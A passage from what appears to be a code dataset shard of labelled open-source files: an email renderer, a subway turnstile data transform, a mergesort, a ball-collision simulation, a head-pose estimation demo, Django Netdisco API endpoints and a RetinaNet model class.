markdown = mistune.create_markdown(\n renderer=HighlightRenderer(escape=False), plugins=plugins)\n html = markdown(body)\n print(f'{Style.BRIGHT}{Fore.GREEN}(\\u2713){Style.RESET_ALL} Markdown converted to html.')\n\n # Template variables\n template_vars = {'title': title,\n 'date_created': date_created.strftime(\"%B %d, %Y\"),\n 'short_description': short_description,\n 'time_since': time_since}\n # Setup jinja template for markdown\n print('Rendering event description...')\n html = Template(html).render(template_vars)\n print(f'{Style.BRIGHT}{Fore.GREEN}(\\u2713){Style.RESET_ALL} Rendered event description.')\n # Set up jinja template for main content\n template_vars['email_content'] = html\n template_file = 'email_template.html'\n with open(path_join(BASEDIR, 'templates', template_file)) as file:\n template = Template(file.read())\n\n print('Enhancing html for better email content.')\n raw_html = template.render(template_vars)\n\n with open(path_join(BASEDIR, 'css', 'colorful.css')) as file:\n try:\n html = str(BeautifulSoup(transform(raw_html, remove_classes=True,\n css_text=file.read(),\n disable_validation=True),\n 'html.parser').prettify(formatter=\"html\"))\n except Exception as e:\n print(\"Unable to add styles.\")\n print('Exception: ' + str(e))\n\n html_preview = path_join(BASEDIR, 'markdown', 'preview.html')\n with open(html_preview, 'w') as file:\n file.write(html)\n print(f'{Style.BRIGHT}{Fore.GREEN}(\\u2713){Style.RESET_ALL} Uses inline'\n ' styling and syntax highlighting')\n print('HTML preview is available at: ')\n print(html_preview)\n return html\n", "source": "yashrathi-git/evem", "license": "Unlicense"} {"text": "\"\"\" pytest fixtures \"\"\"\nfrom collections import namedtuple\nimport pytest\n\n\n@pytest.fixture\ndef country_data():\n Country = namedtuple(\n \"Country\", [\"alpha_2\", \"alpha_3\", \"name\", \"numeric\", \"official_name\"]\n )\n\n return [\n Country(\n alpha_2=\"NP\",\n alpha_3=\"NPL\",\n name=\"Nepal\",\n numeric=\"524\",\n official_name=\"Federal Democratic Republic of Nepal\",\n )\n ]\n", "source": "ojayyezzir/timezones-cli", "license": "MIT"} {"text": "import urllib.request\nimport json\nimport dml\nimport prov.model\nimport datetime\nimport uuid\nimport statistics\nimport pandas as pd\nfrom bson.code import Code\n\n\nclass transform_turnstile_weather(dml.Algorithm):\n contributor = 'anuragp1_jl101995'\n reads = ['anuragp1_jl101995.subway_stations,' 'anuragp1_jl101995.turnstile']\n writes = ['anuragp1_jl101995.turnstile_weather', 'anuragp1_jl101995.turnstile_total_byday']\n\n @staticmethod\n def execute(Trial=False):\n '''Retrieve some datasets'''\n\n startTime = datetime.datetime.now()\n\n # Set up the database connection.\n client = dml.pymongo.MongoClient()\n repo = client.repo\n repo.authenticate('anuragp1_jl101995', 'anuragp1_jl101995')\n\n # When Trial is True, perform function on random sample of size SIZE)\n SIZE = 100\n\n def get_collection(coll_name):\n # Collection for station sample\n sample_coll_name = coll_name.split(\n 'repo.anuragp1_jl101995.')[1] + '_sample'\n repo.dropPermanent(sample_coll_name)\n repo.createPermanent(sample_coll_name)\n\n if Trial == True:\n sample = eval(coll_name).aggregate(\n [{'$sample': {'size': SIZE}}])\n for s in sample:\n eval('repo.anuragp1_jl101995.%s' %\n (sample_coll_name)).insert_one(s)\n return eval('repo.anuragp1_jl101995.%s' % (sample_coll_name))\n else:\n return eval(coll_name)\n\n turnstile_data = repo.anuragp1_jl101995.turnstile.find()\n\n print('Starting to iterate over turnstile_data.') #######\n\n ts_data = []\n for entry in turnstile_data:\n ts_data.append([entry['STATION'], entry['DATE'], entry['ENTRIES']])\n\n\n print('Finished iterating over turnstile_data. About to create dataframe.') ######\n\n df = pd.DataFrame(ts_data, columns = ['STATION', 'DATE', 'ENTRIES'])\n\n df_max = df\n df_max = df_max.groupby(by=['STATION', 'DATE'], as_index=False)['ENTRIES'].max()\n \n temp_df1 = df_max\n temp_arr1 = []\n for index, row in temp_df1.iterrows():\n row_1 = row[1]\n row_1 = row_1.replace('/', '')\n row_1 = row_1[-4:] + row_1[:-4]\n temp_arr1.append([row[0],int(row_1),row[2]])\n \n temp_df1 = pd.DataFrame(temp_arr1, columns = ['STATION', 'DATE', 'ENTRIES'])\n temp_df1 = temp_df1.sort(['STATION','DATE'], ascending=[False,True])\n\n temp_df = temp_df1\n last_station = ''\n last_entry = 0\n temp_arr = []\n last_nonzero = ['place', 0]\n\n for index, row in temp_df.iterrows():\n \n if row[0] == last_station:\n temp =row[2] \n row_2 = abs(row[2] - last_entry) \n \n if row_2 == 0:\n if last_nonzero[0] == row[0]:\n row_2 = abs(row[2] - last_nonzero[1])\n else:\n last_nonzero = [row[0], row[2]] \n \n # \n # Incase the data is messy we insert 200,000 as it is the cap we determined \n #\n if row[0] == 'WINTHROP ST' and row_2 > 5000:\n temp_arr.append([row[0], row[1], 3000])\n elif row[0] == 'JAMAICA CENTER' and row_2 > 10000:\n temp_arr.append([row[0], row[1], 7000])\n elif row[0] == 'NEWARK C' and row_2 > 1000:\n temp_arr.append([row[0], row[1], 500])\n elif row[0] == 'HOWARD BCH JFK' and row_2 > 1000:\n temp_arr.append([row[0], row[1], 750])\n elif row[0] == '157 ST' and row_2 > 4500:\n temp_arr.append([row[0], row[1], 3500])\n elif row[0] == '163 ST-AMSTERDM' and row_2 > 3000:\n temp_arr.append([row[0], row[1], 2200])\n elif row[0] == 'TWENTY THIRD ST' and row_2 > 5000:\n temp_arr.append([row[0], row[1], 3800])\n\n\n\n if row_2 < 10000 and row_2 != 0: \n temp_arr.append([row[0], row[1], row_2])\n\n else: #row_2 > 20000 and row_2 != 0: \n temp_arr.append([row[0], row[1], 2000])\n\n last_entry = temp \n \n else:\n temp = row[2]\n row_2 = 0\n last_entry = temp \n\n temp_arr.append([row[0], row[1], 0]) \n \n last_station = row[0]\n \n temp_df = pd.DataFrame(temp_arr, columns = ['STATION', 'DATE', 'ENTRIES'])\n\n\n # Save in database incase we want the daily usage of each turnstile in the future\n print('Storing turnstile totals by day')\n repo.dropPermanent('turnstile_total_byday')\n repo.createPermanent('turnstile_total_byday')\n\n for entry in temp_arr:\n insert_ts_byday = {'STATION': entry[0], 'DATE': entry[1], 'ENTRIES' : entry[2]}\n repo.anuragp1_jl101995.turnstile_total_byday.insert_one(insert_ts_byday)\n\n temp_df = pd.DataFrame(temp_df.groupby(by=['DATE'])['ENTRIES'].sum())\n\n # print('Loading weatherdata')\n # weatherdata = repo.anuragp1_jl101995.weather.find()\n # date_weather = []\n\n # # Collection for associating daily weather with each turnstile entry\n # repo.dropPermanent('turnstile_weather')\n # repo.createPermanent('turnstile_weather')\n\n # print('Combining weatherdata and daily turnstile totals') ######\n\n # for w in weatherdata:\n # for index, row in temp_df.iterrows():\n # #print('w is ' + str(int(w['DATE'])) + ' and row[1] is ' + str(row[1]))\n # if int(w['DATE']) == index:\n # #print('MATCH: w is ' + str(w) + ' and row[1] is ' + str(row[1]))\n # datestring = str(w['DATE'])[4:6] + '/' + str(w['DATE'])[6:8] + '/' + str(w['DATE'])[0:4]\n # avgtemp = statistics.mean([w['TMAX'], w['TMIN']])\n # insert_weather = {'Date': datestring, 'AvgTemp': avgtemp, 'Precip': w['PRCP'], 'Entries' : int(row[0])}\n # repo.anuragp1_jl101995.turnstile_weather.insert_one(insert_weather)\n\n # break\n # print('Finished combining weather and turnstiles')\n\n\n repo.logout()\n\n endTime = datetime.datetime.now()\n\n return {\"start\": startTime, \"end\": endTime}\n\n @staticmethod\n def provenance(doc=prov.model.ProvDocument(), startTime=None, endTime=None):\n '''\n Create the provenance document describing everything happening\n in this script. Each run of the script will generate a new\n document describing that invocation event.\n '''\n\n # Set up the database connection.\n client = dml.pymongo.MongoClient()\n repo = client.repo\n repo.authenticate('anuragp1_jl101995', 'anuragp1_jl101995')\n\n doc.add_namespace('alg', 'http://datamechanics.io/algorithm/') # The scripts are in # format.\n doc.add_namespace('dat', 'http://datamechanics.io/data/') # The data sets are in # format.\n doc.add_namespace('ont', 'http://datamechanics.io/ontology#') # 'Extension', 'DataResource', 'DataSet', 'Retrieval', 'Query', or 'Computation'.\n doc.add_namespace('log', 'http://datamechanics.io/log/') # The event log.\n doc.add_namespace('cny', 'https://data.cityofnewyork.us/resource/') # NYC Open Data\n doc.add_namespace('mta', 'http://web.mta.info/developers/') # MTA Data (turnstile source)\n\n this_script = doc.agent('alg:anuragp1_jl101995#transform_turnstile_weather', {prov.model.PROV_TYPE:prov.model.PROV['SoftwareAgent'], 'ont:Extension':'py'})\n\n # Transform associating weather with turnstile\n turnstile_weather_resource = doc.entity('dat:turnstile_weather',{'prov:label':'Turnstile Weather Data', prov.model.PROV_TYPE:'ont:DataSet'})\n get_turnstile_weather = doc.activity('log:uuid'+str(uuid.uuid4()), startTime, endTime)\n doc.wasAssociatedWith(get_turnstile_weather, this_script)\n doc.usage(get_turnstile_weather, turnstile_weather_resource, startTime, None,\n {prov.model.PROV_TYPE:'ont:Computation'} )\n turnstile_weather = doc.entity('dat:anuragp1_jl101995#turnstile_weather', {prov.model.PROV_LABEL:'', prov.model.PROV_TYPE:'ont:DataSet'})\n doc.wasAttributedTo(turnstile_weather, this_script)\n doc.wasGeneratedBy(turnstile_weather, get_turnstile_weather, endTime)\n doc.wasDerivedFrom(turnstile_weather, turnstile_weather_resource, get_turnstile_weather, get_turnstile_weather, get_turnstile_weather)\n\n # Transform getting daily weather with daily entries total \n turnstile_daily_resource = doc.entity('dat:',{'prov:label':'Turnstile Total by Day', prov.model.PROV_TYPE:'ont:DataSet'})\n get_turnstile_daily = doc.activity('log:uuid'+str(uuid.uuid4()), startTime, endTime)\n doc.wasAssociatedWith(get_turnstile_daily, this_script)\n doc.usage(get_turnstile_daily, turnstile_daily_resource, startTime, None,\n {prov.model.PROV_TYPE:'ont:Computation'} )\n turnstile_daily = doc.entity('dat:anuragp1_jl101995#turnstile_daily', {prov.model.PROV_LABEL:'', prov.model.PROV_TYPE:'ont:DataSet'})\n doc.wasAttributedTo(turnstile_daily, this_script)\n doc.wasGeneratedBy(turnstile_daily, get_turnstile_daily, endTime)\n doc.wasDerivedFrom(turnstile_daily, turnstile_daily_resource, get_turnstile_daily, get_turnstile_daily, get_turnstile_daily) \n\n repo.record(doc.serialize()) # Record the provenance document.\n repo.logout()\n\n return doc\n\n\ntransform_turnstile_weather.execute(Trial=False)\ndoc = transform_turnstile_weather.provenance()\n# print(doc.get_provn())\n# print(json.dumps(json.loads(doc.serialize()), indent=4))\n\n# eof\n", "source": "anuyorker/Exploring-New-York-City-Transit", "license": "MIT"} {"text": "\"\"\"Define function to sort and merge an unsorted array.\"\"\"\n\n\ndef mergesort(arr):\n \"\"\"Define merge sort.\"\"\"\n left = arr[:len(arr)//2]\n right = arr[len(arr)//2:]\n if len(left) > 1:\n left = mergesort(left)\n if len(right) > 1:\n right = mergesort(right)\n\n lst = []\n i, j = 0, 0\n while i < len(left) and j < len(right):\n if left[i] < right[j]:\n lst.append(left[i])\n i += 1\n elif left[i] > right[j]:\n lst.append(right[j])\n j += 1\n else:\n lst.append(left[i])\n lst.append(right[j])\n i += 1\n j += 1\n\n for _ in range(i, len(left)):\n lst.append(left[_])\n for _ in range(j, len(right)):\n lst.append(right[_])\n\n return lst\n", "source": "jayadams011/data-structures-and-algorithms", "license": "MIT"} {"text": "# -*- coding: UTF-8 -*-\n#This is a modified beta version, which removes visualization\n#Only a graph window left.\n''' \n A_____A\n / = . =\\ < Developed by CKB >\n/ w \\\ncurrent version: 1.2\n\nupdate log:\nver 1.0 - initial release\nver 1.1 - fix weird acceleration\nver 1.2 - fix \"ball stuck in wall\" problem\n\nver 2.0 - MOAR BALLS\n\n'''\nfrom visual import *\nfrom visual.graph import *\nfrom Collision import *\n\n########important variables##########\nr = 0.05 #radius of ball\nN = 50\n\n\n'''initialization starts'''\n#scene = display(width=800, height=800,background=(0.0,0.0,0),center = vector(0,0)\n# ,autoscale = False)\ngd = gdisplay(x=600,y=0,width=600,height=600,xtitle='t',\n foreground=color.black,background=color.white)\nf1 = gcurve(color=color.blue)\n\nwall = [[0,3],[10,3],[15,1],[22,1],[22,-1],[15,-1],[10,-3],[0,-3]] #L shape\n#wall = [[2,2],[2,-2],[-2,-2],[-2,2],[2,2]] #square\n#wall = [[1,1],[1,0],[-1,-1],[-1,0],[1,2],[1,3]]\n#wall = [[780,0],[1150,-140],[1180,-130],[1170,-90],[970,0],[780,0]]\n'''\nwall = [[0,60],[300,60],[850,240],[900,250],[940,220],[950,170],[940,130],[900,100],[730,60],[1170,40],\n [1400,60],\n [1400,0],[1070,0],[1200,-60],[1230,-90],[1240,-130],[1230,-170],[1180,-190],[1130,-180],[610,0],[300,20],\n [0,0],[0,60]]\n#'''\n#container = curve(pos=wall) #!vis\n\n\nrandom.seed(1)\n##define v (array)\nv = random.uniform(30,40,[N,3])\nfor i in range(len(v)):\n v[i][1] = random.random(size = None)*10 - 5\n v[i][2] = 0\nfor i in range(len(wall)):\n wall[i] = vector(wall[i])\n\n##define pos_arr (array)\n#pos_arr = random.uniform(-3,3,(N,3))\n pos_arr = zeros((N,3))\n \nfor i in range(len(pos_arr)):\n pos_arr[i][2] = 0\n pos_arr[i][1] = random.random(size = None)*6 - 3\n pos_arr[i][0] = random.random(size = None)*10\n\n#ball = [sphere(radius = r,make_trail=False, #!vis\n# color=color.yellow, visible = False) for i in range(N)]#!vis\n\n#ball[0].color = color.red #!vis\n#ball[0].make_trail = True #!vis\n#for i in range(N): #!vis\n# ball[i].pos = vector(pos_arr[i]) #!vis\n\n#main code\nt = 0\ndt =0.001\ndts = 0\n'''initialization ends'''\n###functions###\n\n\ndef add_ball(pos,vel):\n '''\n pos,v should be list with 3 variables\n '''\n# global ball #!vis\n global pos_arr, v, N\n# ball.append(sphere(radius=r,make_trail=False,color=color.yellow, visible = False)) #!vis\n pos_arr = append(pos_arr,[pos], axis = 0)\n v = append(v,[vel], axis = 0)\n N += 1\n print('NOW N = %d'%N)\n\ndef del_ball(index):\n global ball\n global pos_arr, v, N\n print('del ball %d' % index)\n \n# ball[index].visible = False #!vis\n# del ball[index] #!vis\n pos_arr = delete(pos_arr, index, 0)\n v = delete(v, index, 0)\n N -= 1\n \n \nwhile N<100 :\n rate(500)\n t+=dt\n dts += 1\n '''\n if dts%10 == 0:\n rd = random.uniform(9,11)\n rdv= random.uniform(-1,1)\n rd2 =random.uniform(-3,3)\n summon_ball((0,rd2,0),(rd,rdv,0))\n #'''\n #average vel\n tmp = 0\n for i in range(len(v)):\n ab = abs(vector(v[i]))\n tmp += ab\n avg = tmp/len(v)\n f1.plot(pos = (t,avg))\n\n \n \n for j in range(N):\n for k in range(2):\n pos_arr[j][k] += v[j][k]*dt\n# ball[j].pos = vector(pos_arr[j]) #!vis\n \n #''' ball hit detection\n r_array = pos_arr-pos_arr[:,newaxis] # all pairs of atom-to-atom vectors\n rmag = sum(square(r_array),-1) # atom-to-atom distance squared\n hit = nonzero((rmag < 4*r**2) - identity(N))\n hitlist = zip(hit[0], hit[1]) \n for p,q in hitlist:\n if sum((pos_arr[p]-pos_arr[q])*(v[p]-v[q])) < 0 : # check if approaching\n v[p], v[q] = vcollision(pos_arr[p], pos_arr[q], v[p], v[q])\n #print('ball hit')\n #'''\n \n for i in range(len(wall)-1):\n w = wall[i]-wall[i+1]\n f = vector(-w[1],w[0]) #\u6cd5\u5411\u91cf\n if checkhit(wall[i],wall[i+1],pos_arr[j],r) and dot([v[j][0],v[j][1],0],f)<0:\n #print(\"hit: wall %d and %d\"%(i,i+1))\n v[j] = reflect(w,v[j])\n \n\n if dts% 10 == 0 :\n #print('add ball')\n add_ball(pos = [0,random.random(size = None)*6 - 3,0],\n vel = [random.random(size = None)*10 +30,random.random(size = None)*10 -5,0])\n \n m = 0 ##trying to delete a ball without problem\n while True:\n m += 1\n if m == N:\n break\n if pos_arr[m][0] > 21 or pos_arr[m][0] < 0 or abs(pos_arr[m][1]) > 3:\n #print('prev N = %d' % N)\n del_ball(m) #delete ball out of range\n #print('after N = %d' % N)\n \n \n", "source": "ChenKB91/BouncyBall", "license": "MIT"} {"text": "\"\"\"Demo code shows how to estimate human head pose.\nCurrently, human face is detected by a detector from an OpenCV DNN module.\nThen the face box is modified a little to suits the need of landmark\ndetection. The facial landmark detection is done by a custom Convolutional\nNeural Network trained with TensorFlow. After that, head pose is estimated\nby solving a PnP problem.\n\"\"\"\nfrom argparse import ArgumentParser\nfrom multiprocessing import Process, Queue\n\nimport cv2\nimport numpy as np\n\nfrom mark_detector import MarkDetector\nfrom os_detector import detect_os\nfrom pose_estimator import PoseEstimator\nfrom stabilizer import Stabilizer\nimport math\n\nprint(\"OpenCV version: {}\".format(cv2.__version__))\n\n# multiprocessing may not work on Windows and macOS, check OS for safety.\ndetect_os()\n\nCNN_INPUT_SIZE = 128\n\nreal_width = 114\nfocal_length = 474\n\n# Take arguments from user input.\nparser = ArgumentParser()\nparser.add_argument(\"--video\", type=str, default=None,\n help=\"Video file to be processed.\")\nparser.add_argument(\"--cam\", type=int, default=None,\n help=\"The webcam index.\")\nargs = parser.parse_args()\n\n\ndef rotate_vector(v, x_angle, y_angle):\n rotated_v = np.copy(v)\n rotated_v[1] = -rotated_v[1]\n # rotate around y axis, e.g. in horizontal plane\n x_prime = v[0] * math.cos(x_angle) + v[2] * math.sin(x_angle)\n y_prime = v[1]\n z_prime = -v[0] * math.sin(x_angle) + v[2] * math.cos(x_angle)\n rotated_v[0] = x_prime\n rotated_v[1] = y_prime\n rotated_v[2] = z_prime\n\n # rotate around x axis, e.g. in vertical plane\n x_prime = rotated_v[0]\n y_prime = rotated_v[1] * math.cos(y_angle) - rotated_v[2] * math.sin(y_angle)\n z_prime = rotated_v[1] * math.sin(y_angle) + rotated_v[2] * math.cos(y_angle)\n\n return rotated_v\n\n\ndef sharpen(gray):\n blurred = gray.copy()\n cv2.GaussianBlur(gray, (5, 5), 0.8, blurred)\n sharpened = gray.copy()\n cv2.addWeighted(gray, 1.5, blurred, 0.5, 0, sharpened)\n return sharpened\n\n\ndef get_face(detector, img_queue, box_queue):\n \"\"\"Get face from image queue. This function is used for multiprocessing\"\"\"\n while True:\n image = img_queue.get()\n box = detector.extract_cnn_facebox(image)\n box_queue.put(box)\n\n\ndef adjust_angle(eye_frame_part, x, y):\n adjusted_x = x - eye_frame_part.shape[0] / 2\n adjusted_y = y - eye_frame_part.shape[1] / 2\n\n proportion_x = adjusted_x / eye_frame_part.shape[0]\n proportion_y = adjusted_y / eye_frame_part.shape[1]\n\n vertical_max_angle = 75\n horizontal_max_angle = 75\n\n return proportion_x * horizontal_max_angle, proportion_y * vertical_max_angle\n\n\ndef process_eyes(frame, landmarks):\n gray = cv2.cvtColor(frame, cv2.COLOR_BGR2GRAY)\n gray = sharpen(gray)\n\n left_eye = gray[int(landmarks[38][1]) - 7: int(landmarks[41][1]) + 7, int(landmarks[36][0]) - 7: int(landmarks[39][0]) + 7]\n right_eye = gray[int(landmarks[44][1]) - 7: int(landmarks[46][1]) + 7, int(landmarks[42][0]) - 7: int(landmarks[45][0]) + 7]\n\n eyes = [left_eye, right_eye]\n\n centers = []\n origins = [[int(landmarks[36][0]), int(landmarks[38][1])], [int(landmarks[42][0]), int(landmarks[44][1])]]\n\n for eye, origin in zip(eyes, origins):\n circles = cv2.HoughCircles(eye, cv2.HOUGH_GRADIENT, 1, eye.shape[0]/64, param1=200, param2=13, minRadius=5, maxRadius=30)\n eye_center = (eye.shape[0] / 2, eye.shape[1] / 2)\n if circles is None:\n # no circles were detected on either or both eyes\n # so return prematurely\n return {}\n circles = np.uint16(np.around(circles))\n needed_circles = circles[0, :].tolist()\n needed_circles.sort(key=lambda circle: math.sqrt((eye_center[0] - circle[0])**2 + (eye_center[1] - circle[1])**2))\n the_circle = needed_circles[0]\n # simplePutText(eye, str(len(circles)))\n # for i in circles[0, :]:\n # cv2.circle(eye, (i[0], i[1]), i[2], (255, 255, 255), 2)\n angles = adjust_angle(eye, the_circle[0], the_circle[1])\n cv2.circle(frame, (the_circle[0] + origin[0] - 7, the_circle[1] + origin[1] - 7), 2, (255, 255, 255))\n centers.append(angles)\n\n centers = {'right': centers[0], 'left': centers[1]}\n return centers\n\n\ndef angle_to_radian(angle_degrees):\n return math.pi * angle_degrees / 180\n\n\ndef cvt_to_radians(eye_angles):\n right = eye_angles['right']\n eye_angles['right'] = (angle_to_radian(right[0]), angle_to_radian(right[1]))\n \n left = eye_angles['left']\n eye_angles['left'] = (angle_to_radian(left[0]), angle_to_radian(left[1]))\n\n return eye_angles\n\n\ndef main():\n \"\"\"MAIN\"\"\"\n # Video source from webcam or video file.\n video_src = args.cam if args.cam is not None else args.video\n if video_src is None:\n print(\"Warning: video source not assigned, default webcam will be used.\")\n video_src = 0\n\n cap = cv2.VideoCapture(video_src)\n if video_src == 0:\n cap.set(cv2.CAP_PROP_FRAME_WIDTH, 640)\n _, sample_frame = cap.read()\n\n # Introduce mark_detector to detect landmarks.\n mark_detector = MarkDetector()\n\n # Setup process and queues for multiprocessing.\n img_queue = Queue()\n box_queue = Queue()\n img_queue.put(sample_frame)\n box_process = Process(target=get_face, args=(\n mark_detector, img_queue, box_queue,))\n box_process.start()\n\n # Introduce pose estimator to solve pose. Get one frame to setup the\n # estimator according to the image size.\n height, width = sample_frame.shape[:2]\n pose_estimator = PoseEstimator(img_size=(height, width))\n\n # Introduce scalar stabilizers for pose.\n pose_stabilizers = [Stabilizer(\n state_num=2,\n measure_num=1,\n cov_process=0.1,\n cov_measure=0.1) for _ in range(6)]\n\n tm = cv2.TickMeter()\n\n while True:\n # Read frame, crop it, flip it, suits your needs.\n frame_got, frame = cap.read()\n if frame_got is False:\n break\n\n # Crop it if frame is larger than expected.\n # frame = frame[0:480, 300:940]\n\n # If frame comes from webcam, flip it so it looks like a mirror.\n if video_src == 0:\n frame = cv2.flip(frame, 2)\n\n # Pose estimation by 3 steps:\n # 1. detect face;\n # 2. detect landmarks;\n # 3. estimate pose\n\n # Feed frame to image queue.\n img_queue.put(frame)\n\n # Get face from box queue.\n facebox = box_queue.get()\n\n if facebox is not None:\n # Detect landmarks from image of 128x128.\n face_img = frame[facebox[1]: facebox[3],\n facebox[0]: facebox[2]]\n face_img = cv2.resize(face_img, (CNN_INPUT_SIZE, CNN_INPUT_SIZE))\n face_img = cv2.cvtColor(face_img, cv2.COLOR_BGR2RGB)\n\n tm.start()\n marks = mark_detector.detect_marks([face_img])\n tm.stop()\n\n # Convert the marks locations from local CNN to global image.\n marks *= (facebox[2] - facebox[0])\n marks[:, 0] += facebox[0]\n marks[:, 1] += facebox[1]\n\n # Uncomment following line to show raw marks.\n mark_detector.draw_marks(\n frame, marks, color=(0, 255, 0))\n right_corner = tuple([int(i) for i in marks[36]])\n left_corner = tuple([int(i) for i in marks[45]])\n # print(marks[36], marks[45])\n cv2.line(frame, right_corner, left_corner, (255, 0, 0), 2)\n\n pixel_distance = int(math.sqrt((right_corner[0] - left_corner[0]) ** 2 + (right_corner[1] - left_corner[1]) ** 2))\n estimated_distance = (real_width * focal_length) / pixel_distance\n\n cv2.putText(frame, str(round(estimated_distance, 2)), (100, 100), cv2.FONT_HERSHEY_SIMPLEX, 2, (255, 0, 0))\n\n\n # Uncomment following line to show facebox.\n # mark_detector.draw_box(frame, [facebox])\n\n # Try pose estimation with 68 points.\n pose = pose_estimator.solve_pose_by_68_points(marks)\n\n # Stabilize the pose.\n steady_pose = []\n pose_np = np.array(pose).flatten()\n for value, ps_stb in zip(pose_np, pose_stabilizers):\n ps_stb.update([value])\n steady_pose.append(ps_stb.state[0])\n steady_pose = np.reshape(steady_pose, (-1, 3))\n\n # Uncomment following line to draw pose annotation on frame.\n # pose_estimator.draw_annotation_box(\n # frame, pose[0], pose[1], color=(255, 128, 128))\n\n # Uncomment following line to draw stabile pose annotation on frame.\n # pose_estimator.draw_annotation_box(\n # frame, steady_pose[0], steady_pose[1], color=(128, 255, 128))\n\n # Uncomment following line to draw head axes on frame.\n print(steady_pose[1])\n pose_estimator.draw_axes(frame, steady_pose[0], steady_pose[1])\n\n angles = process_eyes(frame, marks)\n if bool(angles) is True:\n # print(angles)\n angles = cvt_to_radians(angles)\n rotated_vector = rotate_vector(steady_pose[0], angles['right'][0], angles['right'][1])\n shifted_translation_vector = np.copy(steady_pose[1])\n shifted_translation_vector[0] += 50\n shifted_translation_vector[1] += 50\n pose_estimator.draw_axes(frame, rotated_vector, shifted_translation_vector)\n\n # Show preview.\n cv2.imshow(\"Preview\", frame)\n if cv2.waitKey(10) == 27:\n break\n\n # Clean up the multiprocessing process.\n box_process.terminate()\n box_process.join()\n\n\nif __name__ == '__main__':\n main()\n", "source": "simmplecoder/head-pose-estimation", "license": "MIT"} {"text": "from django.http import HttpResponse\nfrom rest_framework.decorators import api_view, permission_classes\nfrom rest_framework import permissions\nfrom ..core import Inventory\nimport json\n\n\ndef collect_response(label):\n return HttpResponse(\n content=json.dumps({\"collect\": label + \"collected.\"}),\n status=200,\n content_type='Accept: application/json'\n )\n \n\ndef collect_error(message):\n return HttpResponse(\n content=json.dumps({\"error\": message}),\n status=500,\n content_type='Accept: application/json'\n )\n\n\n@api_view(['POST'])\n@permission_classes((permissions.AllowAny,))\ndef inventory_collect(request):\n \"\"\"Trigger Netdisco inventory data retrieval.\"\"\"\n Inventory.collect()\n return collect_response(\"Inventory \")\n\n \n@api_view(['POST'])\n@permission_classes((permissions.AllowAny,))\ndef inventory_notify(request):\n error_response = Inventory.notify()\n\n if not error_response:\n content = json.dumps({\"notify\": \"Notification successfuly sent.\"})\n status = 200\n else:\n # TODO: Add better error message based on response content\n content = json.dumps({\"notify\": \"Notification failed.\"})\n status = 500\n \n return HttpResponse(\n content=content,\n status=status,\n content_type='Accept: application/json'\n )\n\n\n@api_view(['POST'])\n@permission_classes((permissions.AllowAny,))\ndef device_collect(request):\n body = json.loads(request.body)\n ip = body.get(\"ip\")\n update = body.get(\"update\")\n\n if not ip:\n return collect_error(\"Missing device IP address.\")\n\n if not update:\n return collect_error(\"Missing update type.\")\n\n if update == \"device\":\n Inventory.collect_device(ip)\n Inventory.collect_device_ports(ip)\n Inventory.collect_device_addresses(ip)\n Inventory.collect_device_vlans(ip)\n return collect_response(f\"Device {ip} \")\n \n if update == \"macs\":\n Inventory.collect_device_ports(ip)\n return collect_response(f\"Ports MAC addresses of device {ip} \")\n\n if update == \"ips\":\n Inventory.collect_device_addresses(ip)\n return collect_response(f\"Ports IP addresses of device {ip} \")\n\n return collect_error(f\"Unknown update type {update}.\")\n\n\n", "source": "mksoska/netbox-plugin-netdisco", "license": "MIT"} {"text": "from backbone.resnet import *\nfrom backbone.feature_extractor import FeatureExtractor\nfrom fpn.retinanet_fpn import RetinaNet_FPN\nfrom head.detection.retinanet import RetinaNet_Head\nfrom head.detection.anchor_maker import AnchorMaker\n\n\nclass RetinaNet_Frame(nn.Module):\n \"\"\"\n __version__ = 1.0\n __date__ = Mar 7, 2022\n\n Created by hotcouscous1.\n\n This module is a framework for all models belonging to the RetinaNet series.\n\n The models are implemented as child classes inheriting from this module.\n The module passes objects to a model through inherited class/instance variables, instead of parameters.\n\n RetinaNet models necessarily include backbone, fpn, head.\n\n RetinaNet series share the same anchor-making.\n They configure anchor-priors by a standard size per stride, and its various scales and aspect ratios.\n \"\"\"\n\n anchor_sizes = None\n anchor_scales = None\n anchor_ratios = None\n strides = None\n\n def __init__(self,\n img_size: int):\n\n print('The model is for images sized in {}x{}.'.format(img_size, img_size))\n super(RetinaNet_Frame, self).__init__()\n\n self.num_anchors = len(self.anchor_scales) * len(self.anchor_ratios)\n\n self.backbone = None\n self.fpn = None\n self.head = None\n\n self.anchors = self.retinanet_anchors(img_size, self.anchor_sizes, self.anchor_scales, self.anchor_ratios, self.strides)\n\n\n def forward(self, input):\n features = self.backbone(input)\n features = self.fpn(features)\n cls_out, reg_out = self.head(features, self.anchors)\n return cls_out, reg_out\n\n\n def retinanet_anchors(self, img_size, anchor_sizes, anchor_scales, anchor_ratios, strides):\n anchor_priors = self.retinanet_anchor_priors(anchor_sizes, anchor_scales, anchor_ratios, strides)\n anchors = AnchorMaker(anchor_priors, strides)(img_size)\n return anchors\n\n\n @staticmethod\n def retinanet_anchor_priors(anchor_sizes, anchor_scales, anchor_ratios, strides):\n anchor_priors = []\n\n for stride, size in zip(strides, anchor_sizes):\n stride_priors = [[(size / stride) * s * r[0], (size / stride) * s * r[1]]\n for s in anchor_scales\n for r in anchor_ratios]\n\n anchor_priors.append(torch.Tensor(stride_priors))\n\n return anchor_priors\n\n\n\nclass RetinaNet(RetinaNet_Frame):\n \"\"\"\n __version__ = 1.0\n __date__ = Mar 7, 2022\n\n paper : https://arxiv.org/abs/1708.02002\n\n The structure is based on the implementation;\n https://github.com/yhenon/pytorch-retinanet\n\n But there are some differences;\n 1) given a standard size, anchor-priors are arranged in of ratio first, scale later.\n 2) the bbox format of prediction of regressor and anchors is (x_min, y_min, x_max, y_max).\n\n The changes are for correspondence with other series, including EfficientDet.\n \"\"\"\n\n anchor_sizes = [32, 64, 128, 256, 512]\n anchor_scales = [1, 2 ** (1 / 3), 2 ** (2 / 3)]\n anchor_ratios = [[2 ** (1 / 2), 2 ** (-1 / 2)], [1, 1], [2 ** (-1 / 2), 2 ** (1 / 2)]]\n strides = [8, 16, 32, 64, 128]\n\n\n def __init__(self,\n img_size: int,\n num_classes: int = 80,\n pretrained: bool = False,\n finetuning: bool = False):\n\n levels = ['stage2', 'stage3', 'stage4']\n\n if not (len(levels) + 2 == len(self.strides)):\n raise ValueError('make len(num_levels) + 2 == len(strides)')\n\n\n super(RetinaNet, self).__init__(img_size)\n\n self.backbone = FeatureExtractor(resnet_50_backbone(finetuning), levels)\n channels = self.backbone.widths[-len(levels):]\n\n self.fpn = RetinaNet_FPN(3, 5, channels, 256)\n\n self.head = RetinaNet_Head(5, 256, self.num_anchors, num_classes, 